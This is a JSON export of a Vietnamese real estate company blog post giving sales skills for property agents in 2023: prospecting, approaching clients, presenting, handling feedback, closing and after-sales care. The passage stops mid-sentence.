{"id":35570,"date":"2023-01-13T08:59:04","date_gmt":"2023-01-13T01:59:04","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=35570"},"modified":"2025-10-22T04:29:06","modified_gmt":"2025-10-21T21:29:06","slug":"ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/","title":{"rendered":"K\u1ef9 n\u0103ng Sale b\u1ea5t \u0111\u1ed9ng s\u1ea3n t\u1eeb A \u0111\u1ebfn Z th\u00e0nh c\u00f4ng n\u0103m 2023"},"content":{"rendered":"<p class=\"c3\"><em><span class=\"c7\">Mu\u1ed1n b\u00e1n \u0111\u01b0\u1ee3c s\u1ea3n ph\u1ea9m b\u1ea5t \u0111\u1ed9ng s\u1ea3n (B\u0110S), b\u1ea1n c\u1ea7n trang b\u1ecb cho m\u00ecnh nh\u1eefng ky nang sale bat dong san. Nh\u1eefng k\u1ef9 n\u0103ng \u0111\u00f3 l\u00e0 g\u00ec? C\u00e2u tr\u1ea3 l\u1eddi s\u1ebd c\u00f3 ngay trong b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y c\u1ee7a Reti \u0111\u1ec3 gi\u00fap c\u00e1c b\u1ea1n c\u00f3 h\u00e0nh trang v\u1eefng v\u00e0ng trong ngh\u1ec1 sale b\u1ea5t \u0111\u1ed9ng s\u1ea3n.<\/span><\/em><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69f7030c30c82\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69f7030c30c82\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Quy_trinh_ban_hang_Bat_dong_san\" >Quy tr\u00ecnh b\u00e1n h\u00e0ng B\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Tham_do_tim_kiem_va_sang_loc\" >Th\u0103m d\u00f2, t\u00ecm ki\u1ebfm v\u00e0 s\u00e0ng l\u1ecdc<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Tiep_can_khach_hang_co_nhu_cau_mua_bat_dong_san\" >Ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng c\u00f3 nhu c\u1ea7u mua b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Gioi_thieu_va_thuyet_trinh\" >Gi\u1edbi thi\u1ec7u v\u00e0 thuy\u1ebft tr\u00ecnh<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Thu_thap_xu_ly_nhung_y_kien_phan_hoi\" >Thu th\u1eadp &amp; x\u1eed l\u00fd nh\u1eefng \u00fd ki\u1ebfn ph\u1ea3n h\u1ed3i<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Ket_thuc_thuong_vu_ban_hang\" >K\u1ebft th\u00fac th\u01b0\u01a1ng v\u1ee5 b\u00e1n h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Cham_soc_khach_hang_hau_mai\" >Ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng h\u1eadu m\u00e3i<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Cac_ky_nang_ban_hang_ma_moi_gioi_can_co_trong_Bat_dong_san\" >C\u00e1c k\u1ef9 n\u0103ng b\u00e1n h\u00e0ng m\u00e0 m\u00f4i gi\u1edbi c\u1ea7n c\u00f3 trong B\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Thau_hieu_khach_hang\" >Th\u1ea5u hi\u1ec3u kh\u00e1ch h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Ban_hang_dua_tren_phan_hoi_cua_nguoi_mua\" >B\u00e1n h\u00e0ng d\u1ef1a tr\u00ean ph\u1ea3n h\u1ed3i c\u1ee7a ng\u01b0\u1eddi mua<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Thau_hieu_tam_ly_nguoi_mua_khi_tuong_tac\" >Th\u1ea5u hi\u1ec3u t\u00e2m l\u00fd ng\u01b0\u1eddi mua khi t\u01b0\u01a1ng t\u00e1c<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Giao_duc_khach_hang_tiem_nang_voi_nhung_y_tuong_va_quan_diem_moi\" >Gi\u00e1o d\u1ee5c kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng v\u1edbi nh\u1eefng \u00fd t\u01b0\u1edfng v\u00e0 quan \u0111i\u1ec3m m\u1edbi<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Chung_minh_loi_tuc_dau_tu_tiem_nang\" >Ch\u1ee9ng minh l\u1ee3i t\u1ee9c \u0111\u1ea7u t\u01b0 ti\u1ec1m n\u0103ng<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Ky_nang_ho_tro_ban_hang_Bat_dong_san_hieu_qua\" >K\u1ef9 n\u0103ng h\u1ed7 tr\u1ee3 b\u00e1n h\u00e0ng B\u1ea5t \u0111\u1ed9ng s\u1ea3n hi\u1ec7u qu\u1ea3<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Ky_nang_tiep_thi_trong_ban_hang\" >K\u1ef9 n\u0103ng ti\u1ebfp th\u1ecb trong b\u00e1n h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Su_dung_cong_nghe_ban_hang_de_tang_nang_suat\" >S\u1eed d\u1ee5ng c\u00f4ng ngh\u1ec7 b\u00e1n h\u00e0ng \u0111\u1ec3 t\u0103ng n\u0103ng su\u1ea5t<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Lien_ket_hoat_dong_hang_ngay_voi_han_ngach\" >Li\u00ean k\u1ebft ho\u1ea1t \u0111\u1ed9ng h\u00e0ng ng\u00e0y v\u1edbi h\u1ea1n ng\u1ea1ch<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Tuong_tac_xa_hoi_voi_nguoi_mua\" >T\u01b0\u01a1ng t\u00e1c x\u00e3 h\u1ed9i v\u1edbi ng\u01b0\u1eddi mua<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Nhan_vien_ban_hang_lam_nguoi_viet_noi_dung\" >Nh\u00e2n vi\u00ean b\u00e1n h\u00e0ng l\u00e0m ng\u01b0\u1eddi vi\u1ebft n\u1ed9i dung<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Ky_nang_then_chot_cua_sale_bat_dong_san_chuyen_nghiep\" >K\u1ef9 n\u0103ng then ch\u1ed1t c\u1ee7a sale b\u1ea5t \u0111\u1ed9ng s\u1ea3n chuy\u00ean nghi\u1ec7p<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Ky_nang_sale_bat_dong_san\" >K\u1ef9 n\u0103ng sale b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Ky_nang_ban_hang_bat_dong_san\" >K\u1ef9 n\u0103ng b\u00e1n h\u00e0ng b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Ky_nang_ban_hang_du_an\" >K\u1ef9 n\u0103ng b\u00e1n h\u00e0ng d\u1ef1 \u00e1n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Ky_nang_sale_dat_nen\" >K\u1ef9 n\u0103ng sale \u0111\u1ea5t n\u1ec1n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Ky_nang_chot_sale_chung_cu\" >K\u1ef9 n\u0103ng ch\u1ed1t sale chung c\u01b0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/reti.vn\/blog\/ky-nang-sale-bat-dong-san-tu-a-den-z-thanh-cong-nam-2023\/#Ky_nang_tu_van_bat_dong_san\" >K\u1ef9 n\u0103ng t\u01b0 v\u1ea5n b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2 id=\"h.c1brqlh6m3dx\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Quy_trinh_ban_hang_Bat_dong_san\"><\/span><strong><span class=\"c1\">Quy tr\u00ecnh b\u00e1n h\u00e0ng B\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p class=\"c3\"><span class=\"c2\">N\u0103m 2023 h\u1ee9a h\u1eb9n s\u1ebd l\u00e0 m\u1ed9t n\u0103m c\u1ea1nh tranh gay g\u1eaft trong ngh\u1ec1 sale B\u0110S. V\u00ec th\u1ebf, \u0111\u1ec3 ch\u1ed1t deal th\u00e0nh c\u00f4ng, b\u1ea1n c\u1ea7n n\u1eafm r\u00f5 v\u1ec1 quy tr\u00ecnh b\u00e1n h\u00e0ng B\u0110S m\u1ed9t c\u00e1ch chuy\u00ean nghi\u1ec7p nh\u1ea5t.<\/span><\/p>\n<p><em><strong>D\u00e0nh ri\u00eang cho b\u1ea1n<\/strong><\/em>: <a href=\"https:\/\/reti.vn\/blog\/bat-mi-kinh-nghiem-lam-sale-cua-cac-cao-thu-trong-nganh-ban-hang\/\">B\u1eadt m\u00ed kinh nghi\u1ec7m l\u00e0m Sale c\u1ee7a c\u00e1c cao th\u1ee7 trong ng\u00e0nh b\u00e1n h\u00e0ng<\/a><\/p>\n<h3 id=\"h.8fzzcix14w7c\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Tham_do_tim_kiem_va_sang_loc\"><\/span><strong><span class=\"c0\">Th\u0103m d\u00f2, t\u00ecm ki\u1ebfm v\u00e0 s\u00e0ng l\u1ecdc<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">B\u01b0\u1edbc \u0111\u1ea7u ti\u00ean \u0111\u00f3 l\u00e0 th\u0103m d\u00f2, t\u00ecm ki\u1ebfm v\u00e0 s\u00e0ng l\u1ecdc s\u1ea3n ph\u1ea9m, kh\u00e1ch h\u00e0ng. H\u00e3y n\u1eafm r\u00f5 v\u1ec1 lo\u1ea1i h\u00ecnh s\u1ea3n ph\u1ea9m B\u0110S b\u1ea1n \u0111ang b\u00e1n. \u0110\u00f3 l\u00e0 \u0111\u1ea5t th\u1ed5 c\u01b0, chung c\u01b0, bi\u1ec7t th\u1ef1 hay shophouse,\u2026? T\u00f9y theo t\u1eebng s\u1ea3n ph\u1ea9m m\u00e0 ph\u00e2n kh\u00fac, \u0111\u1eb7c \u0111i\u1ec3m kh\u00e1ch h\u00e0ng c\u0169ng kh\u00e1c nhau.<\/span><\/p>\n<p class=\"c3\"><span class=\"c2\">Sau khi \u0111\u00e3 x\u00e1c \u0111\u1ecbnh \u0111\u01b0\u1ee3c lo\u1ea1i h\u00ecnh s\u1ea3n ph\u1ea9m B\u0110S, b\u1ea1n s\u1ebd bi\u1ebft \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng c\u1ee7a m\u00ecnh l\u00e0 ai, \u1edf \u0111\u00e2u, m\u1ee9c thu nh\u1eadp h\u00e0ng th\u00e1ng bao nhi\u00eau, th\u00f3i quen, s\u1edf th\u00edch, nhu c\u1ea7u,\u2026 c\u1ee7a h\u1ecd l\u00e0 g\u00ec. T\u1eeb \u0111\u00f3 \u0111\u01b0a ra \u0111\u01b0\u1ee3c ph\u01b0\u01a1ng \u00e1n ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng h\u1ee3p l\u00fd.<\/span><\/p>\n<h3 id=\"h.sz83hdg0j1gm\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Tiep_can_khach_hang_co_nhu_cau_mua_bat_dong_san\"><\/span><strong><span class=\"c0\">Ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng c\u00f3 nhu c\u1ea7u mua b\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">Khi \u0111\u00e3 s\u00e0ng l\u1ecdc xong \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng, vi\u1ec7c ti\u1ebfp theo l\u00e0 b\u1ea1n c\u1ea7n ph\u1ea3i t\u00ecm c\u00e1ch ti\u1ebfp c\u1eadn h\u1ecd. C\u00f3 nhi\u1ec1u c\u00e1ch ti\u1ebfp c\u1eadn kh\u00e1c nhau. B\u1ea1n c\u00f3 th\u1ec3 ch\u1ee7 \u0111\u1ed9ng h\u1eb9n g\u1eb7p, m\u1eddi kh\u00e1ch h\u00e0ng t\u1edbi c\u00f4ng ty, th\u0103m nh\u00e0 m\u1eabu,\u2026<\/span><\/p>\n<figure style=\"width: 600px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" data-src=\"https:\/\/lh6.googleusercontent.com\/MeqweGLztDFpNyx1d1j-hAGh6-u3ka0NWVg6kHpkLeVqIrLFAFiQgTZXxaT3NEADUzHVAiD1BKPbsO7Ris1QEOXsG6d-7pIYTzY1mNmfHelMECWbKzVnmglKk3Q-cFm7nuQ1tZp4rJNeA658q3kHprDophZThRjqNn-PzlIGlSaiOHiMZu_dlC2f0DDeMw\" alt=\"\" width=\"600\" height=\"400\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\" style=\"--smush-placeholder-width: 600px; --smush-placeholder-aspect-ratio: 600\/400;\"><figcaption class=\"wp-caption-text\">Khi ti\u1ebfp c\u1eadn kh\u00e1ch h\u00e0ng, b\u1ea1n h\u00e3y c\u1ed1 g\u1eafng \u0111\u1ec3 l\u1ea1i \u1ea5n t\u01b0\u1ee3ng t\u1ed1t v\u1edbi h\u1ecd b\u1eb1ng c\u00e1ch \u201cl\u1eafng nghe\u201d nhi\u1ec1u h\u01a1n thay v\u00ec n\u00f3i lan man, d\u00e0i d\u00f2ng.<\/figcaption><\/figure>\n<h3 id=\"h.j65v2ij4575\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Gioi_thieu_va_thuyet_trinh\"><\/span><strong><span class=\"c0\">Gi\u1edbi thi\u1ec7u v\u00e0 thuy\u1ebft tr\u00ecnh<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">B\u01b0\u1edbc ti\u1ebfp theo trong quy tr\u00ecnh sale B\u0110S \u0111\u00f3 l\u00e0 gi\u1edbi thi\u1ec7u v\u00e0 thuy\u1ebft tr\u00ecnh v\u1ec1 s\u1ea3n ph\u1ea9m c\u1ee7a m\u00ecnh. H\u00e3y cho kh\u00e1ch h\u00e0ng th\u1ea5y s\u1ea3n ph\u1ea9m B\u0110S c\u1ee7a b\u1ea1n c\u00f3 nh\u1eefng \u01b0u \u0111i\u1ec3m n\u1ed5i b\u1eadt n\u00e0o \u0111\u00e1p \u1ee9ng \u0111\u01b0\u1ee3c nhu c\u1ea7u c\u1ee7a h\u1ecd. \u0110\u1ed3ng th\u1eddi c\u0169ng h\u00e3y chia s\u1ebb c\u1ea3 c\u00e1c ch\u00ednh s\u00e1ch b\u00e1n h\u00e0ng t\u1ed1t, v\u01b0\u1ee3t tr\u1ed9i h\u01a1n c\u00e1c \u0111\u1ed1i th\u1ee7 c\u1ea1nh tranh kh\u00e1c. N\u1ebfu b\u1ea1n c\u00f3 th\u00eam video, h\u00ecnh \u1ea3nh, brochure cho s\u1ea3n ph\u1ea9m c\u1ee7a m\u00ecnh th\u00ec \u0111\u00f3 c\u00e0ng l\u00e0 l\u1ee3i th\u1ebf \u0111\u1ec3 t\u1ea1o \u1ea5n t\u01b0\u1ee3ng t\u1ed1t.<\/span><\/p>\n<p><em><strong>C\u00f3 th\u1ec3 b\u1ea1n ch\u01b0a bi\u1ebft<\/strong><\/em>: <a href=\"https:\/\/reti.vn\/blog\/tro-thanh-ctv-moi-gioi-bat-dong-san-co-kho-nhu-ban-nghi\/\">Tr\u1edf th\u00e0nh CTV m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u00f3 kh\u00f3 nh\u01b0 b\u1ea1n ngh\u0129<\/a><\/p>\n<h3 id=\"h.kly9l59xn5a2\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Thu_thap_xu_ly_nhung_y_kien_phan_hoi\"><\/span><strong><span class=\"c0\">Thu th\u1eadp &amp; x\u1eed l\u00fd nh\u1eefng \u00fd ki\u1ebfn ph\u1ea3n h\u1ed3i<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">B\u1ea1n s\u1ebd nh\u1eadn \u0111\u01b0\u1ee3c nh\u1eefng \u00fd ki\u1ebfn, ph\u1ea3n h\u1ed3i c\u1ee7a kh\u00e1ch h\u00e0ng trong qu\u00e1 tr\u00ecnh g\u1eb7p g\u1ee1, trao \u0111\u1ed5i. Th\u1eadm ch\u00ed, c\u00f3 th\u1ec3 c\u00f3 nh\u1eefng \u00fd ki\u1ebfn tr\u00e1i ng\u01b0\u1ee3c v\u1edbi b\u1ea1n. V\u00ec v\u1eady, h\u00e3y b\u00ecnh t\u0129nh v\u00e0 \u0111\u00f3n nh\u1eadn t\u1ea5t c\u1ea3, gi\u1ea3i \u0111\u00e1p m\u1ecdi th\u1eafc m\u1eafc c\u1ee7a kh\u00e1ch h\u00e0ng. V\u1edbi nh\u1eefng c\u00e2u h\u1ecfi c\u1ee7a kh\u00e1ch h\u00e0ng m\u00e0 b\u1ea1n kh\u00f4ng bi\u1ebft tr\u1ea3 l\u1eddi th\u00ec h\u00e3y ghi ch\u00fa v\u00e0 ph\u1ea3n h\u1ed3i l\u1ea1i sau th\u00f4ng qua \u0111i\u1ec7n tho\u1ea1i, email, v\u0103n b\u1ea3n,\u2026 thay v\u00ec tr\u1ea3 l\u1eddi lan man, sai th\u00f4ng tin ngay l\u00fac \u0111\u00f3. Sau m\u1ed7i c\u00e2u tr\u1ea3 l\u1eddi, b\u1ea1n n\u00ean x\u00e1c nh\u1eadn l\u1ea1i v\u1edbi kh\u00e1ch h\u00e0ng xem li\u1ec7u h\u1ecd \u0111\u00e3 c\u1ea3m th\u1ea5y h\u00e0i l\u00f2ng hay ch\u01b0a.<\/span><\/p>\n<h3 id=\"h.3o3w4qqtw6ms\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Ket_thuc_thuong_vu_ban_hang\"><\/span><strong><span class=\"c0\">K\u1ebft th\u00fac th\u01b0\u01a1ng v\u1ee5 b\u00e1n h\u00e0ng<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">\u0110\u1eebng bao gi\u1edd c\u1ed1 g\u1eafng n\u00e0i n\u1ec9, b\u1eaft \u00e9p kh\u00e1ch h\u00e0ng ph\u1ea3i mua s\u1ea3n ph\u1ea9m c\u1ee7a m\u00ecnh. M\u1ed9t ng\u01b0\u1eddi l\u00e0m sales b\u1ea5t \u0111\u1ed9ng s\u1ea3n chuy\u00ean nghi\u1ec7p s\u1ebd lu\u00f4n mang \u0111\u1ebfn l\u1ee3i \u00edch nhi\u1ec1u nh\u1ea5t c\u00f3 th\u1ec3 cho kh\u00e1ch h\u00e0ng c\u1ee7a m\u00ecnh. B\u1ea1n c\u1ea7n tinh t\u1ebf h\u01a1n \u0111\u1ec3 nh\u1eadn bi\u1ebft khi n\u00e0o l\u00e0 th\u1eddi \u0111i\u1ec3m \u0111\u1ec3 k\u1ebft th\u00fac m\u1ed9t th\u01b0\u01a1ng v\u1ee5. T\u1eeb \u0111\u00f3 c\u00f3 nh\u1eefng c\u1eed ch\u1ec9, bi\u1ec3u c\u1ea3m, l\u1eddi n\u00f3i \u0111\u00fang th\u1eddi \u0111i\u1ec3m.<\/span><\/p>\n<h3 id=\"h.59vwimx9pwlk\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Cham_soc_khach_hang_hau_mai\"><\/span><strong><span class=\"c0\">Ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng h\u1eadu m\u00e3i<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">V\u1edbi h\u1ea7u h\u1ebft c\u00e1c d\u1ecbch v\u1ee5, ch\u00ednh s\u00e1ch ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng h\u1eadu m\u00e3i \u0111\u00f3ng vai tr\u00f2 r\u1ea5t quan tr\u1ecdng. Nh\u1ea5t l\u00e0 \u0111\u1ed1i v\u1edbi ng\u00e0nh B\u0110T TH\u00cc ch\u00ednh s\u00e1ch h\u1eadu m\u00e3i l\u1ea1i c\u00e0ng c\u1ea7n thi\u1ebft. R\u1ea5t nhi\u1ec1u kh\u00e1ch h\u00e0ng l\u1ef1a ch\u1ecdn mua B\u0110S c\u1ee7a \u0111\u01a1n v\u1ecb n\u00e0o \u0111\u00f3 l\u00e0 nh\u1edd \u0111\u01a1n v\u1ecb \u0111\u00f3 c\u00f3 ch\u00ednh s\u00e1ch ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng v\u00e0 h\u1eadu m\u00e3i t\u1ed1t.<\/span><\/p>\n<h2 id=\"h.6vwbvgfv1k3\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Cac_ky_nang_ban_hang_ma_moi_gioi_can_co_trong_Bat_dong_san\"><\/span><strong><span class=\"c1\">C\u00e1c k\u1ef9 n\u0103ng b\u00e1n h\u00e0ng m\u00e0 m\u00f4i gi\u1edbi c\u1ea7n c\u00f3 trong B\u1ea5t \u0111\u1ed9ng s\u1ea3n<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p class=\"c3\"><em><span class=\"c2\">C\u00f3 r\u1ea5t nhi\u1ec1u k\u1ef9 n\u0103ng sale b\u1ea5t \u0111\u1ed9ng s\u1ea3n m\u00e0 nh\u1eefng ai l\u00e0m trong l\u0129nh v\u1ef1c n\u00e0y c\u1ea7n ph\u1ea3i n\u1eafm \u0111\u01b0\u1ee3c. H\u00e3y c\u00f9ng ti\u1ebfp t\u1ee5c t\u00ecm hi\u1ec3u trong b\u00e0i vi\u1ebft b\u1ea1n nh\u00e9!<\/span><\/em><\/p>\n<h3 id=\"h.2w5iv4aecioj\" class=\"c3 c4\"><span class=\"ez-toc-section\" id=\"Thau_hieu_khach_hang\"><\/span><strong><span class=\"c0\">Th\u1ea5u hi\u1ec3u kh\u00e1ch h\u00e0ng<\/span><\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"c3\"><span class=\"c2\">C\u00f3 kh\u00f4ng \u00edt sale B\u0110S th\u01b0\u1eddng c\u1ed1 g\u1eafng t\u1ecf ra ho\u1ea1t ng\u00f4n, gi\u1edbi thi\u1ec7u lan man v\u1ec1 c\u00e1c s\u1ea3n ph\u1ea9m b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u1ee7a m\u00ecnh hay nh\u1eefng \u0111i\u1ec1u m\u00e0 m\u00ecnh bi\u1ebft. \u0110i\u1ec1u 